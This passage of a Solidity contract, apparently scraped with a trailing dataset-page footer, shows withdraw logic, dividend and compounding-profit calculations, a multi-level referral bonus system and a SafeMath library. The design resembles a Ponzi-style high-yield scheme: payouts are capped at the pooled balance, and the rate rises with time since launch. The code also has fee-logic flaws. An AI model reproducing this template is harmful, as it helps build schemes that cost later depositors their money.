}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 1) {
WITHDRAW_FEE = 1500;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 2) {
WITHDRAW_FEE = 1400;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 3) {
WITHDRAW_FEE = 1600;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 4) {
WITHDRAW_FEE = 1500;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else if(user.deposits[0].plan == 5) {
WITHDRAW_FEE = 1400;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
else {
WITHDRAW_FEE = 1500;
uint256 totalAmount = getUserDividends(msg.sender);
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
} else {
return plans[plan].percent;
}
}
function capped(uint256 length) public pure returns (uint256 cap) {
if(length < MAXIMUM_NUMBER_DEPOSITS) {
cap = length;
} else {
cap = MAXIMUM_NUMBER_DEPOSITS;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 90,144 | 11,799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.